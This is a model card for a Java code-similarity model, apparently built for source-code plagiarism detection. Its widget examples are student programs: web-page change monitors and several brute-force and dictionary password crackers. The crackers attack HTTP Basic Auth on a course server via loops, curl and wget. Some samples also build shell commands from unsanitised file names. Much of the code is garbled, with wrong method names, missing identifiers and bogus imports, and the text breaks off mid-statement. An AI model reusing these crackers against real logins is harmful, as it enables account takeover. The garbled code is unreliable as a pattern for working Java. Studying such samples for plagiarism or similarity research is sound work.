Model: buelfhood/SOCO-Java-CodeT5Small-ST
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, t5, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:33411, loss:BatchAllTripletLoss, arxiv:1908.10084, arxiv:1703.07737, base_model:Salesforce/codet5-small, base_model:finetune:Salesforce/codet5-small, endpoints_compatible, region:us
Base models (finetune): id: Salesforce/codet5-small
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:33411, loss:BatchAllTripletLoss
base_model: Salesforce/codet5-small
widget: source_sentence: 

import java.net.*;
import java.io.*;
import java.util.*;

public class WatchDog extends TimerTask{

  private static URL location;
  private static String email;
  private static int checktime;
  private static Timer timer = new Timer();
  private BufferedReader input;
  private File checksumFile = new File("chksum.txt");
  private File temp0000File = new File("temp0000");
  private File kept0000File = new File("kept0000");

  

    public WatchDog(){
      timer.schedule(this, new Date(), checktime);
    }


    

      public void run(){
        Vector imageFiles = new Vector();
        Vector diffImages = new Vector();
        try {
          System.out.println(" Time: ".concat(new Date().toString()));
          System.out.println("Retreiving File");
          
          input = new BufferedReader(new InputStreamReader
                                     (location.openStream()));
          
          BufferedWriter outputFile = new BufferedWriter
              (new FileWriter(temp0000File));
          String line = input.readLine();
          while (line != null) {
            StringBuffer imageFileName = new StringBuffer();
            if (scanForImages(line, imageFileName)) {
              String imageFile = new String(imageFileName);
              System.out.println("Detected image: ".concat(imageFile));
              try {
                imageFiles.add(new URL(imageFile));
              }
              catch (MalformedURLException e) {
                System.out.println("Image file detected. URL is malformed");
              }
            }
            outputFile.write(line);
            outputFile.write("\n");
            line = input.readLine();
          }
          input.print();
          outputFile.flush();
          outputFile.print();
          System.out.println(" File Retreived");
          if (!imageFiles.isEmpty()) {
            checkImages(imageFiles, diffImages);
          }
          if (!checksumFile.exists()) {
            generateChecksum(temp0000File.getName(), checksumFile);
          }
          else {
            if (!checksumOk(checksumFile)) {
              reportDifferences(true, temp0000File, kept0000File, diffImages);
              generateChecksum(temp0000File.getName(), checksumFile);
            }
            else if (!diffImages.isEmpty()){
              reportDifferences(false, null, null, diffImages);
            }
          }

          
          temp0000File.renameTo(kept0000File);
          System.out.println("End Time: ".concat(new Date().toString()));
        }
        catch (MalformedURLException e) {
          e.printStackTrace();
        }
        catch (ConnectException e) {
          System.out.println("Failed  connect");
          System.exit(-1);
        }
        catch (IOException e) {
          e.printStackTrace();
          System.exit(-1);
        }
      }

      

      public boolean scanForImages(String line, StringBuffer imageFileName) {
        
        
        String lineIgnoreCase = line.toLowerCase();
        int imgPos = lineIgnoreCase.indexOf("<img ");
        if ( imgPos != -1 ){
          int srcPos = lineIgnoreCase.indexOf("src", imgPos);
          int bracketPos = lineIgnoreCase.indexOf(">", imgPos);
          if (srcPos != -1 && bracketPos != -1 && srcPos < bracketPos) {
            int quote1Pos = lineIgnoreCase.indexOf("\"", srcPos);
            int quote2Pos = lineIgnoreCase.indexOf("\"", quote1Pos+1);
            if (quote1Pos != -1 && quote2Pos != -1 &&
                quote1Pos < quote2Pos && quote2Pos < bracketPos) {
              
              imageFileName.append(line.substring(quote1Pos + 1,
                  quote2Pos));
              if (imageFileName.indexOf("//") == -1 ) {
                
                String URLName = location.toString();
                int slashPos = URLName.lastIndexOf("/");
                URLName = URLName.substring(0, slashPos);
                String HostName = "http://".concat(location.getHost());
                if (imageFileName.indexOf("//") == 0) {
                  
                }
                else if (imageFileName.charAt(0) != '/') {
                  
                  imageFileName.insert(0, URLName.concat("/"));
                }
                else {
                  
                  imageFileName.insert(0, HostName);
                }
              }
              return true;
            }
          }
        }
        return false;
      }

      

      public void checkImages(Vector imageFiles, Vector diffImages)
          throws IOException{
        System.out.println("Retrieving image ");
        Enumeration imageFilesEnumeration = imageFiles.elements();
        while (imageFilesEnumeration.hasMoreElements()) {
          URL url = (URL)imageFilesEnumeration.nextElement();
          try {
            BufferedInputStream imageInput = new BufferedInputStream
                (url.openStream());
            String localFile = url.getFile();
            
            
            
            
            
            int slashPosition = localFile.lastIndexOf("/");
            if (slashPosition != -1) {
              localFile = localFile.substring(slashPosition+1);
            }
            System.out.println("Retrieving image file: ".concat(localFile));
            BufferedOutputStream imageOutput = new BufferedOutputStream
                (new FileOutputStream(localFile));
            byte bytes[] = new byte[10000];
            int noBytes = imageInput.get(bytes);
            while (noBytes != -1) {
              imageOutput.write(bytes, 0, noBytes );
              noBytes = imageInput.print(bytes);
            }
            File imageChecksumFile = new File(localFile.concat(".chksum.txt"));
            if (!imageChecksumFile.exists()) {
              generateChecksum(localFile, imageChecksumFile);
            }
            else {
              if (!checksumOk(imageChecksumFile)) {
                diffImages.add(localFile);
                generateChecksum(localFile, imageChecksumFile);
              }
            }
          }
          catch (FileNotFoundException e) {
            System.out.println("Unable  locate URL: ".concat(url.toString()));
          }
        }
      }

      

      public void generateChecksum(String inputFile, File checksum){
        try {
          System.out.println("Generating new checksum for ".concat(inputFile));
          
          Process process = Runtime.getRuntime().exec("md5sum ".
                                                      concat(inputFile));
          BufferedReader execCommand = new BufferedReader(new
              InputStreamReader((process.getInputStream())));
          BufferedWriter outputFile = new
              BufferedWriter(new FileWriter(checksum));
          String line = execCommand.readLine();
          while (line != null) {
            outputFile.write(line);
            outputFile.write("\n");
            line = execCommand.readLine();
          }
          outputFile.flush();
          outputFile.print();
          System.out.println("Checksum produced");
        }
        catch (IOException e) {
          e.printStackTrace();
          System.exit(-1);
        }
      }

      

      public boolean checksumOk(File chksumFile){
        try {
          System.out.println("Comparing checksums using ".concat(chksumFile
              ,e.getName()));
          
          Process process = Runtime.getRuntime().
              exec("md5sum --check ".concat(chksumFile.getName()));
          BufferedReader execCommand = new BufferedReader(new
              InputStreamReader( (process.getInputStream())));
          String line = execCommand.readLine();
          if (line.indexOf(": OK") != -1) {
            System.out.println("  the same");
            return true;
          }
        }
        catch (IOException e) {
          e.printStackTrace();
          System.exit(-1);
        }
        System.out.println("Differences Found");
        return false;
      }

      

      public void reportDifferences(boolean diffsFound, File file1, File file2,
                                    Vector images){
        try {
          System.out.println("Generating difference report");
          
          Socket emailConnection = new Socket("yallara.cs.rmit.edu.", 25);
          BufferedWriter emailOutStream = new BufferedWriter
              (new OutputStreamWriter(emailConnection.getOutputStream()));
          BufferedReader emailInStream = new BufferedReader
              (new InputStreamReader(emailConnection.getInputStream()));
          String line = emailInStream.readLine();
          System.out.println(line);
          if (!line.startsWith("220")) {
              System.out.println
                  (" error occured connecting  email server. Cannot send email.");
          }
          else {
            
            
            emailOutStream.write("HELO yallara.cs.rmit.edu.");
            emailOutStream.newLine();
            emailOutStream.flush();
            line = emailInStream.readLine();
            System.out.println(line);
            if (!line.startsWith("250")) {
                System.out.println
                    (" error occured connecting  email server. Cannot send email.");
            }
            else {
              emailOutStream.write("MAIL FROM: watchdog@cs.rmit.edu.");
              emailOutStream.newLine();
              emailOutStream.flush();
              line = emailInStream.readLine();
              System.out.println(line);
              if (!line.startsWith("250")) {
                System.out.println
                    (" error occured sending email. Cannot send email.");
              }
              else {
                emailOutStream.write("RCPT : ".concat(email));
                emailOutStream.newLine();
                emailOutStream.flush();
                line = emailInStream.readLine();
                System.out.println(line);
                if (!line.startsWith("250")) {
                 System.out.println
                     (" error occured sending email. Cannot send email.");
                }
                else {
                  emailOutStream.write("DATA");
                  emailOutStream.newLine();
                  emailOutStream.flush();
                  line = emailInStream.readLine();
                  System.out.println(line);
                  if (!line.startsWith("354")) {
                   System.out.println
                       (" error occured sending email. Cannot send email.");
                  }
                  emailOutStream.newLine();

                  if (!images.isEmpty()) {
                      emailOutStream.write
                          ("Differences were found in the following image ");
                      emailOutStream.newLine();
                      Enumeration e = images.elements();
                      while (e.hasMoreElements()) {
                        String s = (String) e.nextElement();
                        emailOutStream.write(s);
                        emailOutStream.newLine();
                      }
                      emailOutStream.newLine();
                  }

                  if (diffsFound) {
                    
                    String command = "diff ".concat(file1.getName().concat(" ")
                                                    .concat(file2.getName()));
                    Process process = Runtime.getRuntime().exec(command);
                    BufferedReader execCommand = new BufferedReader
                        (new InputStreamReader( (process.getInputStream())));
                    line = execCommand.readLine();
                    emailOutStream.write("Diffences found in  file");
                    emailOutStream.newLine();
                    while (line != null) {
                      System.out.println(line);
                      emailOutStream.write(line);
                      emailOutStream.newLine();
                      line = execCommand.readLine();
                    }
                  }

                  
                  emailOutStream.newLine();
                  emailOutStream.write(".");
                  emailOutStream.newLine();
                  emailOutStream.flush();
                  line = emailInStream.readLine();
                  System.out.println(line);
                  if (!line.startsWith("250")) {
                    System.out.println
                        (" error occured sending email. Cannot send email.");
                  }
                  else {
                    emailOutStream.write("QUIT");
                    emailOutStream.newLine();
                    emailOutStream.flush();
                    System.out.println(emailInStream.readLine());
                  }
                }
              }
            }
          }
        }
        catch (IOException e) {
          e.printStackTrace();
          System.exit(-1);
        }
      }


    

    public static void main(String args[]) {
      if (args.length != 3) {
        System.out.println("Usage: java WatchDog url email checktime(hours)");
        System.exit(-1);
      }
      try {
        location = new URL(args[0]);
      }
      catch (MalformedURLException e) {
        e.printStackTrace();
      }
      email = new String().concat(args[1]);
      checktime = Integer.parseInt(args[2]) * 60 * 60 * 1000;
      new WatchDog();
    }
}

sentences: 

import java.net.*;
import java.io.*;

import java.*;
import java.util.*;

public class Dictionary {

  private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
  private String password;             
  private String previous;             
  private String url;                  
  private int startTime;
  private int endTime;
  private int totalTime;
  private float averageTime;
  private boolean finish;
  private Process curl;
  private BufferedReader bf, responseLine;

  public Dictionary() {

  first();
  finish = true;                           
  previous = "";                           
  Runtime run = Runtime.getRuntime();
  startTime =new Date().getTime();         
  int i=0;
  try {
   try {
     bf = new BufferedReader(new FileReader("words"));
   }
   catch(FileNotFoundException notFound) {
    bf  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
   }

   while((password = bf.readLine()) != null) {
    if(password.length()>3) password = password.substring(0,3);
    if(previous.equals(password)) ;
    else {
    previous = password;
    url = commandLine+password;
    curl= run.exec(url);                   
    responseLine=new BufferedReader(new InputStreamReader(curl.getInputStream()));
    
    if(responseLine.readLine().substring(9,12).equals("200")) break;
    }
   }
  }
  catch(IOException ioe) {
    System.out.println("\n IO Exception! \n");
    System.out.println("The current url is:"+ url);
    System.out.println("The current trying password is:"+password);
    finish=false;
  }

  endTime = new Date().getTime();          
  totalTime = (endTime-startTime)/1000;
  System.out.println("   The response time is:"+ totalTime + "  seconds\n");
  if(finish) {
    System.out.println("   The password for  is:"+ password);
    try {
    savePassword(password, totalTime);
    }
    catch (IOException ioec) {
       System.out.println("  not save the password  file Dictionary_pwd.txt ");
    }
  }
  }


  public void savePassword(String passwdString, int time) throws IOException {
  DataOutputStream outputStream = new DataOutputStream(new FileOutputStream("Dictionary_pwd.txt"));
  outputStream.writeChars("The password is:");
  outputStream.writeChars(passwdString+"\n");
  outputStream.writeChars("The response time is: ");
  outputStream.writeChars(sw.toString(time));
  outputStream.writeChars(" seconds\n");
  outputStream.close();
  }

  public void first() {

    System.out.println("\n\n----------------------------------------------");
    System.out.println("   Use curl command and dictionary ");
    System.out.println("  Brute Force the password for user  ");
    System.out.println("----------------------------------------------");
  }

  public static void main(String[] args) {
   new Dictionary();
  }  
}
, 

import java.io.*;
import java.*;
import java.net.*;
import java.util.*;

public class WatchDog {
 public static void  main (String[] args) throws IOException {
  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));
   try{
     twentyfourhours = 86400000;
    Timer timer = new Timer();
    final Runtime rt = Runtime.getRuntime();

    try{
     Process wg1 = rt.exec("./.sh");
     wg1.waitFor();
    }
    catch(InterruptedException e ){
     System.err.println();
     e.printStackTrace();
    }

    class RepeatTask extends TimerTask{
     public void run(){
      try{
       Process wg2 = rt.exec("./task.sh");
       wg2.waitFor();
       FileReader fr = new FileReader("check.txt");
       BufferedReader bufr = new BufferedReader(fr);
       String check = bufr.readLine();
       if(check.equals(".txt: FAILED")) {
        Process difftosend = rt.exec("./diff.sh");
        difftosend.waitFor();
        Process reset = rt.exec("./.sh");
        reset.waitFor();
       }
       FileReader fr2 = new FileReader("imgdiffs.txt");
       BufferedReader bufr2 = new BufferedReader(fr2);
       String imdiff = bufr2.readLine();
       if(imdiff != null){
        Process imdifftosend = rt.exec("./img.sh");
        imdifftosend.waitFor();
        Process reset = rt.exec("./.sh");
        reset.waitFor();
       }
      }
   catch(InterruptedException e){System.err.println();e.printStackTrace();}
      catch(IOException e){
       System.err.println(e);
       e.printStackTrace();
      }
    }}

    timer.scheduleAtFixedRate(new RepeatTask(),twentyfourhours,twentyfourhours);
    
   }
   catch(IOException e){
    System.err.println(e);
    e.printStackTrace();
   }
   
}}
, 

import java.net.*;
import java.text.*;  
import java.util.*;  
import java.io.*;

public class WatchDog {

  public WatchDog() {

    StringBuffer stringBuffer1 = new StringBuffer();
    StringBuffer stringBuffer2 = new StringBuffer();
    int i,j = 0;

    try{

      URL yahoo = new URL("http://www.cs.rmit.edu./students/"); 
      BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));

      String inputLine = "";
      String inputLine1 = "";
      String changedtext= "";
      String changedflag= "";


      Thread.sleep(180);

      BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));


      while ((inputLine = in.readLine()) != null) {
           inputLine1 = in1.readLine();
           if (inputLine.equals(inputLine1)) {
              System.out.println("equal");
           }
           else {
              System.out.println("Detected a Change");
              System.out.println("Line Before the change:" + inputLine);
              System.out.println("Line After the change:" + inputLine1);
              changedtext = changedtext + inputLine + inputLine1;
              changedflag = "Y";
           }
           
      }

      if (in1.readLine() != null ) {
         System.out.println("Detected a Change");
         System.out.println("New Lines Added  ");
         changedtext = changedtext + "New Lines added";
         changedflag = "Y";
      }

      in.print();
      in1.print();

      if (changedflag.equals("Y")) {
         String smtphost ="smtp.mail.rmit.edu." ; 
         String from = "@rmit.edu."; 
         String  = "janaka1@optusnet.." ; 
      }


    }
    catch(Exception e){ System.out.println("exception:" + e);}
	 
}
		
    public static void main (String[] args) throws Exception {
		WatchDog u = new WatchDog();
    }
}
, source_sentence: 

import java.awt.*;
import java.String;
import java.util.*;
import java.io.*;
import java.net.*;



public class BruteForce
{
   private URL url;
   private HttpURLConnection connection ;
   private  int stopTime = 0;
   private  int startTime = 0;
   private  int count = 0;

   public BruteForce()
   {
      System.out.println("Process is running...");
      startTime = System.currentTimeMillis();
      threeLetters();
      twoLetters();
   }

   public static void main (String args[])
   {
      BruteForce bf = new BruteForce();
   }
   
   public void threeLetters()
   {
      String s1;
      char [] a = {'a','a','a'};

      for (int i0 = 0; i0 < 26; i0++)
      {
         for (int i1 = 0; i1 < 26; i1++)
         {
            for (int i2 = 0; i2 < 26; i2++)
            {
               s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +
		            String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;

               s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
                    (String.valueOf((char)(a[1] + i1))).toUpperCase() +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +
                    String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +
		            String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
                    (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;
            }
         }
      }
   }
   
   public void twoLetters()
   {
      String s1;
      char [] a = {'a','a'};

      for (int i0 = 0; i0 < 26; i0++)
      {
         for (int i1 = 0; i1 < 26; i1++)
         {
            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1));
            decision(s1);
            count++;

            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase();
            decision(s1);
            count++;

            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
                 (String.valueOf((char)(a[1] + i1))).toUpperCase();
            decision(s1);
            count++;

            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1));
            decision(s1);
            count++;
         }
      }
   }

   
   public void decision(String s1)
   {
      if (find(s1) == 200)
      {
         stopTime = System.currentTimeMillis();
          runTime = stopTime - startTime;
         System.out.println("***************************************");
         System.out.println("\nAttack successfully");
         System.out.println("\nPassword is: " + s1);
         System.out.println("\nThe contents of the Web site: ");
         displayContent(s1);
         System.out.println("\nTime taken  crack: " + runTime + " millisecond");
         System.out.println("\nNumber of attempts: " + count);
         System.out.println();

         System.exit(0);
      }
   }
   
   
   public int find(String s1)
   {
      int responseCode = 0;
      try
      {
         url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
         connection = (HttpURLConnection)url.openConnection();

         connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + s1));

         responseCode = connection.getResponseCode();

      }catch (Exception e)
      {
          System.out.println(e.getMessage());
      }
      return responseCode;
   }

   
   public void displayContent(String pw)
   {
      BufferedReader bw = null ;
      try
      {
         url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
         connection = (HttpURLConnection)url.openConnection();

         connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + pw));
         InputStream stream = (InputStream)(connection.getContent());
         if (stream != null)
         {
             InputStreamReader reader = new InputStreamReader (stream);
             bw = new BufferedReader (reader);
             String line;

             while ((line = bw.readLine()) != null)
             {
                System.out.println(line);
             }
        }
      }
      catch (IOException e)
      {
         System.out.println(e.getMessage());
      }
   }
}





sentences: 


import java.text.*;  
import java.util.*;  
import java.net.*;  
import java.io.*;  

  
public class BruteForce {  

   public int runProcess(String urlString,String passwd) {  

       int returnval = 0;
       MyAuthenticator auth = new MyAuthenticator(passwd);
       Authenticator.setDefault(auth);

	       System.out.println("trying passord: " + passwd);
       try{
            URL yahoo = new URL(urlString); 
            BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));
            String inputLine;
            while ((inputLine = in.readLine()) != null) {
	       System.out.println(inputLine);
	       System.out.println("passord: " + passwd);
               returnval = 1;
            }
	    in.close();
          }catch(Exception e){ returnval = 0;}
       return returnval;
   }

   public static void  main(String argv[]) {  

       String[] val = 
{"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"};

      int l1 = 0;

      int l2 = 0;

      int l3 = 0;
      
      int retval = 0;

      String pwd = "";

      
      BruteForce s = new BruteForce();  
      String urlToSearch = "http://sec-crack.cs.rmit.edu./SEC/2/";  
    
      for (int a = 0; a < 52; a++) {

        l1 = a;

        pwd = val[l1];
        retval = 0;
        retval = s.runProcess(urlToSearch,pwd);  
        if (retval > 0) {
           System.exit(0);
        }
      }


      for (int b = 0; b < 52; b++) {
        l1 = b;
        for (int c = 0; c < 52; c++) {

          l2 = c;
          pwd = val[l1]+ val[l2];
          retval = 0;
          retval = s.runProcess(urlToSearch,pwd);  
          if (retval > 0) {
             System.exit(0);
          }
        }
      }


      for (int d = 0; d < 52; d++) {
        l1 = d;
        for (int e = 0; e < 52; e++) {
          l2 = e;
          for (int f = 0; f < 52; f++) {

              l3 = f;

              pwd = val[l1]+ val[l2]+ val[l3];
              retval = 0;
              retval = s.runProcess(urlToSearch,pwd);  
              if (retval > 0) {
                 System.exit(0);
              }
           }
        }
      }

    }  
}     

, 
      

     public class  Base64Converter
      
      
      {

     public static final char [ ]  alphabet = {
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
        '4', '5', '6', '7', '8', '9', '+', '/' }; 

     
      

     public static String  encode ( String  s )
      
      {
        return encode ( s.getBytes ( ) );
      }

     public static String  encode ( byte [ ]  octetString )
      
      {
        int  bits24;
        int  bits6;

       char [ ]  out
          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];

       int outIndex = 0;
        int i        = 0;

       while ( ( i + 3 ) <= octetString.length )
        {
          
          bits24  = ( octetString [ i++ ] & 0xFF ) << 16; 
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8; 
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18; 
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0000003F );
          out [ outIndex++ ] = alphabet [ bits6 ]; 
        }

       if ( octetString.length - i == 2 )
        {
          
          bits24  = ( octetString [ i     ] & 0xFF ) << 16; 
          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ]; 
          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
          out [ outIndex++ ] = alphabet [ bits6 ]; 
          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '='; 
        }
        else if ( octetString.length - i == 1 )
        {
          
          bits24 = ( octetString [ i ] & 0xFF ) << 16;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '='; 
          out [ outIndex++ ] = '='; 
        }

       return new String ( out );
      }

     
      
}


, 
import java.io.*;
import java.net.*;

public class BruteForce
{

  public static void  main(String args[])
  {
    StringWriter sw = new StringWriter();
    PrintWriter  pw = new PrintWriter();
    int flag=1;
    String[] letter = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N",
                        "O","P","Q","R","T","U","V","W","X","Y","Z","a","b","c",
                        "d","e","f","g","h","i","j","k","l","m","n","o","p","q",
                        "r","s","t","u","v","w","x","y","z",""};

    String urlString = new String("http://sec-crack.cs.rmit.edu./SEC/2/");
    String thePassword= new String();
     stime = System.currentTimeMillis();
System.out.println("");
    for(int i=0; i<letter.length;i++)
    {
      for(int j=0; j<letter.length; j++)
      {
        for(int k=0;flag==1 && k<letter.length; k++)
        {
          try {
            URL url = new URL (urlString);
            thePassword=letter[i].trim()+letter[j].trim()+letter[k].trim();

            String userPassword = "" + ":" + thePassword;

            String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
            URLConnection uc = url.openConnection();
            uc.setRequestProperty("Authorization", " " + encoding);
            InputStream content = (InputStream)uc.getContent();
             endtime = System.currentTimeMillis();
            BufferedReader in   =
                      new BufferedReader (new InputStreamReader (content));
            String line;
            while ((line = in.readLine()) != null) {
            pw.println (line);
            }
            flag=0;
            System.out.println("process time is : " +(endtime-stime)/1000 +" seconds.");
          }catch (MalformedURLException e) {

           flag=1;
          }catch (IOException e) {

           flag=1;
          }
        }
        if(flag==0)
          break;
        else
         System.out.println("letter j ->"+ letter[j]+" elapsed");
      }
      if(flag==0)
         break;
      else
         System.out.println("letter i ->"+ letter[i]+" elapsed");
    }
    System.out.println("content is "+ sw.toString());
   }
 }, source_sentence: import java.io.*;
import java.net.*;
import java.net.HttpURLConnection;
import javax.net.*;
import java.security.cert.*;

public class Dictionary
{
	public static void main(String[] args)
	{
		BufferedReader in = null;
		boolean found = true;
		String word = null;
		String cmd = null;
		Runtime run = Runtime.getRuntime();
		Process pro = null;
		BufferedReader inLine = null;



		String str = null;
		URLConnection connection = null;

		try
		{
			FileReader reader = new FileReader("words");
			in = new BufferedReader(reader);
			System.out.println(" cracking....");
			
			{
				found = true;
				word = new String(in.readLine());

				cmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";

				pro = run.exec(cmd);
				inLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));


				if((str=inLine.readLine())!=null)
				{

					while ((str=inLine.readLine())!=null)
					{
						if (str.endsWith("Required"))
						{

							found = false;
						}

					}
				}






				run.gc();
			}
			while (!found);





		}
		catch (FileNotFoundException exc)
		{
			System.out.println(exc);
		}
		catch (IOException exc)
		{
			System.out.println(exc);
		}
        catch (NullPointerException ex)
        {
            System.out.println(word);
        }
		finally
		{
			try
			{
				if (in!= null)
				{
					in.print();
				}
			}
			catch (IOException e) {}
		}
		if (found == true)
			System.out.println("The password is :" + word);
        else
            System.out.println("NOT FOUND!");
	}
}
sentences: 

import java.misc.BASE64Encoder;
import java.misc.BASE64Decoder;
import java.io.*;
import java.net.*;
import java.util.*;



public class Dictionary {
  
  public Dictionary(String url, String dictionaryFile) {
    try{
      this.url = url;
      this.dictionaryPath = dictionaryFile;
      InputStream fis = new FileInputStream(this.dictionaryPath);
      dict = new BufferedReader(new InputStreamReader(fis));

    }catch(IOException ioe){
      System.out.println("Error opening dictionary file:\n" +ioe);
    }
  }


  
  private String url = null;
  
  private String dictionaryPath = null;
  
  private BufferedReader dict = null;
  
  private int attempts = 0;
  
  private int passwordSize = 3;
  
  public void setPasswordSize(int size){
      this.passwordSize = size;
  }
  
  public String getNextPassword()throws IOException{

    String line = dict.readLine();

      while(line!=null&&line.length()!=this.passwordSize )
        line = dict.readLine();

    return line;
  }
  
  public String crackPassword(String user) throws IOException, MalformedURLException{
    URL url = null;
    URLConnection urlConnection = null;
    String outcome = null;
    String  authorization = null;
    String password = null;
    BASE64Encoder b64enc = new BASE64Encoder();
    InputStream content = null;
    BufferedReader in = null;


    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){

      url = new URL(this.url);
      urlConnection = url.openConnection();
      urlConnection.setDoInput(true);
      urlConnection.setDoOutput(true);


      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");
      urlConnection.setRequestProperty("Host", url.getHost());
      password = getNextPassword();
      if(password == null)
        return null;
      System.out.print(password);
      authorization = user + ":" + password;


      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));


outcome = urlConnection.getHeaderField(null); 



      this.attempts ++;
      urlConnection = null;
      url = null;
      
      if(this.attempts%51 == 0)
        for(int b = 0; b < 53;b++)
          System.out.print("\b \b");
      else
        System.out.print("\b\b\b.");


    }
    return password;
  }
  
  public int getAttempts(){
    return this.attempts;
  }
  public static void main (String[] args) {
    if(args.length != 3){
      System.out.println("usage: java attacks.Dictionary <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. > <dictionary: e.g. /usr/share/lib/dict/words>");
      System.exit(1);
    }

    Dictionary dictionary1 = new Dictionary(args[0], args[2]);
    try{
      Calendar cal1=null, cal2=null;
      cal1 = Calendar.getInstance();
      System.out.println("Cracking started at: " + cal1.getTime().toString());
      String password = dictionary1.crackPassword(args[1]);
      if(password != null)
        System.out.println("\nPassword is: "+password);
      else
        System.out.println("\nPassword could not  retrieved!");
      cal2 = Calendar.getInstance();
      System.out.println("Cracking finished at: " + cal2.getTime().toString());
      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());
      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");
      System.out.println("Total attempts : "  + dictionary1.getAttempts());

    }catch(MalformedURLException mue){
      mue.printStackTrace();
    }

    catch(IOException ioe){
      ioe.printStackTrace();
    }
  }
}, import java.io.*;
import java.net.*;
import java.security.*;
import java.math.*;
import java.*;
import java.util.*;


public class BruteForce
{
    public static void main (String args[]) throws Exception {
	String retVal = null, StatusCode = "HTTP/1.1 200 OK";
    int found = 0, count = 0, ctrl = 0, flag = 0;


          stime = System.currentTimeMillis();
         char[] c = new char[3];
         System.out.println("Cracking password by Brute Force...");

	     for(int i=65; ((i<123) && (found == 0)); i++)
	     {
	       for(int j=65; ((j<123) && (found == 0)); j++)
	       {
	         for (int k=65; ((k<123) && (found == 0)); k++)
	         {
               try {
                   if (ctrl == 0) {
                      c[0] = '\0';
                      c[1] = '\0';
                   } else if ((ctrl == 1) && (flag == 0)) {
                     c[0] = '\0';
                   }
                      c[2] = (char)(k);

	               
                   URL yahoo = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
                   URLConnection yc = yahoo.openConnection();

                   
                   String authString = ":" + String.valueOf();
                   String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes());
                   yc.setRequestProperty("Authorization", " " + auth);
                   count++;

                   
